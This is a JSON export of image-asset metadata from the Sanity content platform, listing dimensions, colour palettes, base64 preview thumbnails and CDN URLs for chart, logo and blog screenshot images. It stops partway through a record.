{"_createdAt":"2023-02-17T12:39:38Z","_id":"image-6aca6ac396f8c6def06ee9c7145882fe67d70682-2000x829-png","_rev":"ZxzZ1hFw7v7VMlheRhM860","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:39:38Z","assetId":"6aca6ac396f8c6def06ee9c7145882fe67d70682","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHJO|Z1003}q^1}qEgJ8=xEN9{bH=aRkJ-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4125452352231602,"height":829,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLUlEQVQokVXQ3UvTURzH8TM3Nm0qihsRkYhY6qzf95zze9jcNLdGPhTWyBYREZZQlKQIxXqwjIS6Svf7bVNqmUW76EGKUhdFjTSs7iPppn+gK4MwZnG+MQNxF28+d6+LDwEAAgAmADC3uKm5olqy9LSzku/Dqv+voekY12Ywrs2uawbj7ud4OxATqfA+nB4ow8kQwbGdBN8MkRyWywIARSoHe40L7OEAdSxe5e3ZUXkSDXkBDfnjut6hoSRxvPm4SIXrMR0pRL2L4GApwbfX10AzABQqHOxbXVB80A+OxSu0NTtCkyJK50SUzoso+5+hzIqEd0jcbVPE4277ystzpmdNhPy8EyL4/sYamKugWQNLZS3YDu2iFV+HlLZsVE1iTJ0TMXVerK6WEWNNKXFv70l8cqIO05EizPSTdOIiwYVrBJce5IHkfIiSzdvA2uUH55dBtic7wu6jzj4JnX0Wqyu/FnHPsJjocP+ZOlX2bfyYdfCov8CxpYZkbh4mnS1yPhgOUFNVHdgO+HMfsuDKKDdQ52nU+SvU+SzqfAJ1+QjGNOeLXjD1djRYgx6w7ZDA7JGBFFbSfFDl1OraDiW7vdTx4YKHLo16e34bvkvLhu/ysuGL/NJ93T9uNbHpgcbiVh+zhoN8Q7NGiyQJzCoHUlUr5X9IKRRLAE6FU2fffnXTwzONNVP93oanfd6GR2e99YkeT/XpTmVjo8rKGaPlKqelMqM2CcCkyZQwCuQfointCJ0ncyIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#74593c","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d3504","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5760b","foreground":"#fff","population":7.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aa9d94","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8bd75","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b48456","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5760b","foreground":"#fff","population":7.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-4-net-increase-score.png","path":"images/sczeoy4w/production/6aca6ac396f8c6def06ee9c7145882fe67d70682-2000x829.png","sha1hash":"6aca6ac396f8c6def06ee9c7145882fe67d70682","size":52227,"uploadId":"NLOSbm4wRhLKS0Z5Fft5KfkImXZSBYec","url":"https://cdn.sanity.io/images/sczeoy4w/production/6aca6ac396f8c6def06ee9c7145882fe67d70682-2000x829.png"} {"_createdAt":"2023-02-17T12:39:29Z","_id":"image-ef68f6a7bf1b2731cde286cabca535a64c52dfe2-2000x829-png","_rev":"A5seFJXEmkKSGRuwrwKeE3","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:39:29Z","assetId":"ef68f6a7bf1b2731cde286cabca535a64c52dfe2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKK*#M}WoenP9]jF=w-Af6Rk06W;,;t6s9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4125452352231602,"height":829,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgUlEQVQokRXDW0hTcRwA4N+cV9xm2pyX8Lbt7HJ0/nfO5gUJVMiHsKSkBytDS1Gn02nqvGDi8jJ3c7M0Mk1D0LSWay8p5mMg+NhDjz0nzYlCGHTO+YUffCCMJshxXFaBjhQdfm5Mx90+E37p0eEvd6zzcRVkZWaAVkOBUlsI+RQNGroYyswsAJTBVAObUF9llJhIYQLEpIkOF9oBhGFxPk5m2NBv6MT1uzfwQ3MLbjXW4VKlHHshDh3SRHwGYlwEwHcAuCoX4VcCf1froesWK350szx+c6whPrrdHYdhqwiEIaAEZ15AWCjfEV5XeoXlmrfCUvWEMJNTzY8lFwlT2dd5N2Xkp3OVnEORxY2nZnOjSRn/RpPSLvpFsnN/RTIfbFMJOxa9EOpMAhwCCl0Fr3Ch7BDn2T18WfIN59kgzuZPoDOvBz2aAM4zbvRoBtGrbcGZnCacVNzD54o7OJVZiwFSiau1Xfj+QSvuWOTA2UHFOQu83IvSfd5PwnyAPeADTIifM2zwfvKGnzOE+XlzmPMVbXEB0xrn0S9ybq2Pd6ldglfn4wPsJL9Qvs6v3R4RPnUoINIbq4hMKO9HPKX2k1mjLepiB6NutvfUbeo/9ZZ0R2fJQMRtHjieJvZjV6n9t5PYTmYZ27mr2HLhY6x/5swdZx726dliTd3FdpsU9ptS4g+smsy9PnPBRwtRbbYzmm0Low5ZGXWo26QMWoh6s4OlVp4Q/UqrSb/RbqSCXSZq18bkH42Ycr+Pl1w7GmZyjhzVV38uN4sB4CEgAoDcEKOiiURTSK5QNJEV6IjksoomUjVNZGqapFxW6ok0T1t8WZKuNCSCiI5BTAXEH4C4D/8BIGQR6L3XjPIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59483e","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#871c04","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97507","foreground":"#fff","population":9.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8977e","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd094","foreground":"#000","population":0.16,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96755b","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97507","foreground":"#fff","population":9.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-3-biggest-differences-in-adoption-criteria.png","path":"images/sczeoy4w/production/ef68f6a7bf1b2731cde286cabca535a64c52dfe2-2000x829.png","sha1hash":"ef68f6a7bf1b2731cde286cabca535a64c52dfe2","size":55009,"uploadId":"jv1bGtKwAOOr5lId7ZW4LHcdd08VeSEi","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef68f6a7bf1b2731cde286cabca535a64c52dfe2-2000x829.png"} {"_createdAt":"2023-02-17T12:39:48Z","_id":"image-b655bbdc635c7a6dcf49f58a3c6faede36e61de3-2000x913-png","_rev":"A5seFJXEmkKSGRuwrwKjDt","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:39:48Z","assetId":"b655bbdc635c7a6dcf49f58a3c6faede36e61de3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOGtP.9z06}-},^KEONK=[EOEQWV=@R,EP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.190580503833516,"height":913,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAACU0lEQVQokWXRX0hTURwH8J9TiVQEzbbdu3lzZgrO7XfO3a5G809rSGFPPlkQ1ENU+FTQS09lWlEERgURhBmhoS5XLHfX2u5tlsuEXnwKpZciepB60IdQ6/xi6hTp4XfO0+9zvl8OAAAg4ub4VLQgYhFjaO07U+uevqd0zj12np0fdHbPDVR2fxl0nlsYdZxajSldlKxvEYZ/F6UDQAtTQIYvy/0HFiJiKedoDfdUN/4cky8tR6UnK1FpeDkqDa1EpaE/E/JTEa+6T0n3CWH6bUQEZKhAKc92LDuNPm8+IharHK2vrrualyLyLdLtCdLtJul2g3TJoLjyghI1PSLV0Eymr5imO4Em24De1G6Bqqqu3YEmb7ZyCefoeN7jOrQ4Lt8RMXtaxKSM0OX3Iq5MiMS+PpHyBMhQS0SyHsjUgN61AX0Pr4OMsRycp/m8BRuVneNXXcHFiNwvYva3pEsfRLzSpERNP6UagmQ2ltLsBaCZLhDpZqBMB9DMsW1gHiIWqBx3ImJZNuHLPlfbUkS+LWL2pNDlSfHaNSqS7pN/DX+FZgX4Me6D+WcaUOYw0FQ7PLy4dx0MhUK5hJYNcDdnqER6XcGliNxPupSmuJKkN7XXyGQ++hgoHLt5EIiCENjPgT4dgG/DVWvG2sE5z4H5nGMRIlZwhvLI5Wr/r7B8fnXC8WBVr77xO+458jWslXUEvZb2VmZp0li2FRw/6gGbzbYF5tJlf5cxLEPEcsaw/MrpOkfmrsI/D+xpnX1Up430MkeohZe4G7xFGw/vyO653e5N8B/Suf/HyDJuIQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573e30","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c5404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b804","foreground":"#000","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9484","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc672","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6e48","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b804","foreground":"#000","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-5-top-reasons-for-replacing.png","path":"images/sczeoy4w/production/b655bbdc635c7a6dcf49f58a3c6faede36e61de3-2000x913.png","sha1hash":"b655bbdc635c7a6dcf49f58a3c6faede36e61de3","size":66178,"uploadId":"K31y3KfGq4QUcbKxvxAkOERBGfTxdBWF","url":"https://cdn.sanity.io/images/sczeoy4w/production/b655bbdc635c7a6dcf49f58a3c6faede36e61de3-2000x913.png"} {"_createdAt":"2023-02-17T12:40:07Z","_id":"image-46b2e3e99593c9eb11acf6711852dd8e0f5732a3-2000x829-png","_rev":"A5seFJXEmkKSGRuwrwKnp3","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:40:07Z","assetId":"46b2e3e99593c9eb11acf6711852dd8e0f5732a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHJsQx9z06=[-5}:9|NI=t9z0,WE^dWCIu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4125452352231602,"height":829,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEElEQVQokU3RzWsTQRjH8clbNRU1BS07iXlxk5jdbHZnkto2hEZTVCpeelDwIOhFEAQvimgU40081DfQWy/ioTlIyaLubPZFmjcPgn9IwaPJrfPIbtH08GVuH37DgwghyGuhTMKLC9oRWaFz316c1sY6fgKm8BVMwQVTcP7HBBdY3OFm8iN0xdtgS3lw1TD0aggcBfmYV21JC9SrWjhboNHh23RxouNn3BAsYMIAmNCfhgfAEt95N7MBVm4ZnOIsuGoAft1C4KpT8MpqCV1ulIKpXHnm5/uUPNZxixvY4Ybwgxt4yA084oYw5AyPuHmqC5b4kNtSEswU4lYWgV1AwPAUrFe1wEpVi+QkGu2/SSvjjrcQewuH3BD63MAD//XB1Da3cje4I8dgZxFxW/ZBbhwAr60p6MKKGvLA3ut0adw5uNBD8Ygz3OcswXg384pb+XN7dvEQ9JYQ2BLavBdBlNIpyF5m0KW6GsxLdNbdyCjjTrzJDfwFmH8ICxi2gcW3wUw+B0u8CE5hHnbk4NhdRXtWAYWO5lGj0UC+6l+5QoJnK+SwUqLHPj3NZnbbifWJjh9MdNyc6PjxRI83/+jJO78/i8v9d1Ls5jqJnK9poTJVEUIVROn+MB/cj8xQSuYIISeuriknP9zPJdst8cxWS5S3WqLUbmWlzUcF8e51db5MSUzVyHFKSZQQEvz3Sw/8C9Cn/3p9OLNbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544824","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#743c04","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b60c","foreground":"#000","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a46e","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad64a","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d7865","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b60c","foreground":"#000","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-7-planning-to-use.png","path":"images/sczeoy4w/production/46b2e3e99593c9eb11acf6711852dd8e0f5732a3-2000x829.png","sha1hash":"46b2e3e99593c9eb11acf6711852dd8e0f5732a3","size":38493,"uploadId":"gqvQaoX2yCk52qhy52Gv2rYywbVcK4EB","url":"https://cdn.sanity.io/images/sczeoy4w/production/46b2e3e99593c9eb11acf6711852dd8e0f5732a3-2000x829.png"} {"_createdAt":"2023-03-14T17:08:13Z","_id":"image-04b79371cd5ad57d1cd94a077f9d096d2c891cbc-923x712-png","_rev":"0lF4kyZBi1fr8QymZFrIJH","_type":"sanity.imageAsset","_updatedAt":"2023-03-20T20:35:23Z","altText":"Platform Components","assetId":"04b79371cd5ad57d1cd94a077f9d096d2c891cbc","description":"Platform Components","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDPPr|T24-V=0K[lnhN{kCS58zr:Iot9In}PXURkaKS4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2963483146067416,"height":712,"width":923},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAA7DAAAOwwHHb6hkAAADrklEQVQ4jVXLu8srRRzG8a30Lzhipbytha2iIMfCVixEsRArwUqsLMTGSgs7KxEEERFEm/Oi2HjOm004e83eZnb2vpvdnb3M5LLJThLOScKOJL6Kp/jwg3m+IzSi+MZKlr/fqGrea9r6QlW7taJ0K0nuVpL0hE6WL9u56TWt61VtvVHVciXLPzXj8ZtCI4p3VpL01kZRfu5VtWKa9php2qmTpBMdj09kLJ5aUTy1o9GJiOKJTiaX7dxsNe3ANK3dKMpvnSS9Q0XxWUGaTJ5qILxaWdYHa8O4Xk+ntNP1/VJV91SS90SS/kfeU1m+bOem06eLpa7/SabGh5ntvgC86BlBFMUrF6H3iiz9cp4X90ovikMT0sAAtyCNLERT4NPE9mhowP/eQttLPRj/AaLqazOqP5+i7FNhNBq97DjOd0mSoJbMszhvah0mRLGjfzgx0d2MWH5BTG9GNJAQHabE9Atihbix4jpzUhLbceNbfqELiqK8muf5j4SQfLlY1rO0xNAJMbBDDECEXRhj30txFCXYCyIMvRAHUYyTLMFJllZxNquiZNYkcVpmSYoECOFrbLv95Xg4LLarNcsdv/cli8U6ZJnjMxzOGEkL1saIFZ7OCt9gbWQyEqmMxBprYquvfaungbnqMlAIlmW9vlgsrhljj/r5kldOMGSay3M75GWQcFK1fN4SXkcOL+wHvIIiJ/5D3sIbTtCYE18ZaiDxOZKOm9RYCpIk3Q3D8DrP80fzpuXzvBraFPM2w7zKS04I5YS0vI4djp0HvLDu89odc+zc8NwZ8cqThxpOhhaOD6tQWQqmad7FGP9OKT0sl0te42rI03zIs3Io83LAVT2UFR5w7Aw1uBlK66+hguJQgvtD6d5wEiqcoAkn4Oa0RJNOQAi9whj74fD4MGM9WxWzcuujaIfcZBeG6W6Wl7uswLssALvCFncVnOxqT95V7mRHQ3m7iKcrgh42FE3yLtZcAQDwfN/377LN7pu2WilpWNU+zCkCOQ1QQZOwpklU0wilNAEenbkBnXkhnaGAln7U4CDUSs/+lkTGZ12JPhFkSX86cPGLAWy+CEALAtBuA6fZI6vaQ6Pcu2fm7TWKC8/C+3MTgmYXOLXnO/iryM1fIri4I5hK+hyc4o+QWYu+3fa+3R7PgF4eDSk5TqXkaMrphXEL6MXRs84dObfMsxoJGtXHhpxdCZaSvu0a+FfParBnNwvPauZnroHnjlZcAP1J5+3fzrMuf2rXqO5Zavb+3+1G9bnHKtZrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#57344d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0c0ac","foreground":"#000","population":1.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c0ac","foreground":"#000","population":1.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccfce","foreground":"#000","population":1.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e74a3","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a97b8","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"platform_components.png","path":"images/sczeoy4w/production/04b79371cd5ad57d1cd94a077f9d096d2c891cbc-923x712.png","sha1hash":"04b79371cd5ad57d1cd94a077f9d096d2c891cbc","size":156651,"title":"Platform_components","uploadId":"3l2ZGqrZraInMrzTFK8zfATXD34dbTuh","url":"https://cdn.sanity.io/images/sczeoy4w/production/04b79371cd5ad57d1cd94a077f9d096d2c891cbc-923x712.png"} {"_createdAt":"2023-05-08T11:08:14Z","_id":"image-94f02a79cd857996811ffd734c95e56b7db62c10-2500x2708-png","_rev":"CehdQyS8z5lmiPrCUYHlNo","_type":"sanity.imageAsset","_updatedAt":"2023-05-08T11:08:14Z","assetId":"94f02a79cd857996811ffd734c95e56b7db62c10","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQLp?o~Q00Ib563GIVn3XTwb00n4.7R:?HrCOZr:$gTK56Ro?Hb]Rn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9231905465288035,"height":2708,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAABcRAAAXEQHKJvM/AAAE8ElEQVQ4jWWVeUxUVxTGLxYFU8EFExapttg2+gdVSyUWQdlERBQUtdUuaYWZUVyK0YrWrSZ2TZM2JqRqXRBmQKXVWoWpqJgmLVJbTMUNFSvKjgrDMjDz3rvf17wBAe1NvnfOfTf55bvnnJcnxIBFUgAQ3QoFCde+qV3PKUQKxVv7KVJzKQxmCqMFwmjpyXv2FAYL+0EDpQOrmvVDig9y6JGayxcNZk42WfhKej5Hrj5Cdx2clvsM2IJ+VwNjjyB2l1BkHKPfynyuNFloNpi5J83MNQYzw015HG3K46CMAgqTpdehmf93p0Ol5HOKRh8SE67VcWH2RRZ8VcyWrb+g7aNjvGOy4LjBDKPRgvEmC9zXFeguIQzmZxz26nmAIQDXkDzgUHmhzsaailpo5yvJg6XAtlPsTM/HX0YzMo0WvGyyYFB6tkMYBwIBTY9eAGYB2AegEkA7ABWA1CRgdxLVj4nCq+AuK5X0fF42mLnKZIFv8j72AHtgUtdgAGEAsgE0oWeRutgnSAk0twNFVyV3nJRdKyyy0GBGbHo+hqzIUZ+qYQDJrSSrnyIMyF3Pnpeoa1ZwtKSdmWb7A2Ou9onpCH2TT/Q3ZRAgwyDVk9CcDmhOQlOgS6oOOFQF3ZqkU4JODXBI0N7RjWsXHzAr+7597cHOvNQjnCTYD/SE2rVY2pvLZds9SFsVZFs1pO0uHC1VqG1p5vXWbt5sc/KGzcHrbQrutthRXVbJwu/LnNuy6s4sz2Nk1p5bbv2ddbZ/KNvu3dCaLlNr/BtaUzm0uj/QVVvKW3VVLKm38WyDnWfqO1nS1IXyh3ZWX7yKiq9/ati7q2yP4bAWsv40Bz0BDoXavQxdj67IjlrIznrI9hrIlkoojyvxqKWGVbZOl8ObNgf+7VTR0OGg7fdyadv87aUr7365LHN3/YiYvitDdQe0GEj1LKSqQGqEVAC1m1Ds0JQuKpqq1xCKJqGCkJ12ytPnVKRtLGZoUgQTVrl1933Ht7/SYxDJb0g29rZS7yp6+qznfXKd8n4NufsHO5KX5yEk8bXvdM6iFCHQViF4QLihsdAbii0ZWncxpNrVO4G94/jUVAKtrcCpImLl+geIXLAFofP96B4gEJ4oBMsWClpf8GDxS96ozh3PhxXr0Hq/HPZWJzRFH70+EBUFaGoAi63kps0dnLvoBKcnRDNyyRBMnCsYpgMLfQStgR4s8vPC+cnDUfppMP/cv51Xfv6Hd0q7WHODrL1N3r1GXrpAmPdKbFjdwgXzzzAq7h3OSPBxlS0mQnC6DrQGCBb5edAa4E2rnxcLxozCoYgQHFqagZw1x2nZcp2Htzcwa2Mzd6TV0pB0mclR+zlrZgqjY305O8nNBYyKF5yWpAP9dQ3RHdI6Zhh/DRwGi/cI7hw5lpnjI7FhkolrQ3Yy9Y3PuGTKJs6b8jbnhE7inJleTJknsOtHgVnxgmEJgm/O6wUW+XvA6j8cLmiAN86OG85z47yQM2okv/AO4EafIL4XGMjkiT5cOm0oMxa7cWqwYFCcYHS8YHSk4Mw4wfAEHeinX9mdRX6esPrrtfRkoa4xnvwtyJM3gz3YGDLYda24EQIzJgimC8HYSMGYaIH4MMG4CMGo2N7/SZEL6BJcUXfsJ3jUV/BzX4GPAwTXjnXj+68KLgwWTHpdMDFUcHa4oHG0YOJUF/DJ+g9hY7GOSpbMpQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c352a","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c9c7c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c352a","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbc7c9","foreground":"#000","population":0.1,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdc65","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5795ae","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19e0e","foreground":"#000","population":0.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SimpliLearn-logo-image-composition.png","path":"images/sczeoy4w/production/94f02a79cd857996811ffd734c95e56b7db62c10-2500x2708.png","sha1hash":"94f02a79cd857996811ffd734c95e56b7db62c10","size":109594,"uploadId":"NlQmfYNOyi2Gw005Lb54FljeJCJz7KoR","url":"https://cdn.sanity.io/images/sczeoy4w/production/94f02a79cd857996811ffd734c95e56b7db62c10-2500x2708.png"} {"_createdAt":"2022-12-01T15:09:16Z","_id":"image-4db109a232cab6ef967358dbfa7a14d2c4ae8097-1083x551-png","_rev":"v53ZsDDD1bdWz9EKVifiYM","_type":"sanity.imageAsset","_updatedAt":"2022-12-01T15:11:01Z","altText":null,"assetId":"4db109a232cab6ef967358dbfa7a14d2c4ae8097","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9655172413793103,"height":551,"width":1083},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsUlEQVQokU2SSW/cMAyF5///pQQ99FQ0bYG0Qaez2B7bsqyd1OJFku0pPGmBAO9AEvx4eHwHO9xtuINfwS8Ytr3dtdlh/aDHPKzGJYVZu3+bBzvc0W9cR8JGpmbjVvCrMEnqESAgBMTB+mzDag3yujkdu0vpNC7uHQa/UZmKJpSt5zoqzISNpHO8R8lBCmswWjsG8qf//vTl+fPLSyHU6MbtP6zWS5uKdurlLCETkW5dvHVzTee2j1wnNDi0P9nr87dPT69ff0iJbtgOGDbjVqqWostVl7iaNUTC07lZjrd8rPK1zZRPRnFgBW+r26UgVQng7LAdjFskJKZTyxPhUerZwNSyeKrz7yq/FelcJ8qCVlwKRnpsqOXSoU87DH59wDOVE1OzxmxsomKuaK7oWnbLjeZeTgoC5f5au8vNUTGBX3bYDpvCTMXU8VGYuP/MRSGAMtfx2PHYc8c4EOaLxp6vuigl7QyYYH16N2xVmCUk4/Z76CejpFLA9czVqJQWQjQUqxbrRjUVacuaEaa13+EPwXgUYUE/o4/glz05fgY/GZfARwX+WpJfb+fTpe0Y/gXNQyzZHwmU/gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c40","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121341","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e6dac","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ba2ce","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6dac","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08014","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"static-ip-blog-firewall-allow.png","path":"images/sczeoy4w/production/4db109a232cab6ef967358dbfa7a14d2c4ae8097-1083x551.png","sha1hash":"4db109a232cab6ef967358dbfa7a14d2c4ae8097","size":25281,"title":null,"uploadId":"hbZzgsZ5n5atcz72YsphsGL9a7tL74kY","url":"https://cdn.sanity.io/images/sczeoy4w/production/4db109a232cab6ef967358dbfa7a14d2c4ae8097-1083x551.png"} {"_createdAt":"2022-12-01T15:09:17Z","_id":"image-cff7822beb0a13b8160433e3729eb4195930410f-1083x551-png","_rev":"v53ZsDDD1bdWz9EKVifgza","_type":"sanity.imageAsset","_updatedAt":"2022-12-01T15:10:47Z","altText":null,"assetId":"cff7822beb0a13b8160433e3729eb4195930410f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9655172413793103,"height":551,"width":1083},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABqklEQVQokT2SyW7bMBRF/f+/lLaLroqmLZAiRm3JtCSLpDjPGjhILpQ4Ac7mXbyzuvdgx7sNd+1X7YsJ237ubNqXd0xYH2FYlUvCZOkenwc73o3fqIyQTEQsyq0m3IXNkIwtdB32g1i0X21YrTK0u53/ofrqpCnuXdZ+wzyBW7j2noio3DqICG7+3Ni6c90wcVOsnQM8Db+ffnz5/vwMmJjctH3IYq37BPp54IvQGfPc4ATgTjdkoopRduz/kpevv749vfz8I7hx43YwYVNuxaIAlBuUqFikXhBNl76c2vXUlktfsMhKCk0A6Zu2Bqi5Gu3suB2UK1wnIlNPE6SRy1npGZJ4avIr2KluBfMolWKM9Fj32DLurE+7rP36Ji+Yz0Qs0mRlE2axQRnAAlBpcSYiSjNj6uvWVq1DbNFvFRzsuAmTMZsRnZiKe2cuMmYw8YhGRONAHReWq7mD/ljJYyU7FKQrj6qUX4XJXCe1R5vxsxJcCE3lwsQkhVRKSj3BwddXeaxIdWWYemnTLn8O42MMxfjF+LgvZGfZCUX7zGQ4A/jyCs4XiIj7DySsLOKBt6JYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c345a","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131342","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a1a6cd","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sani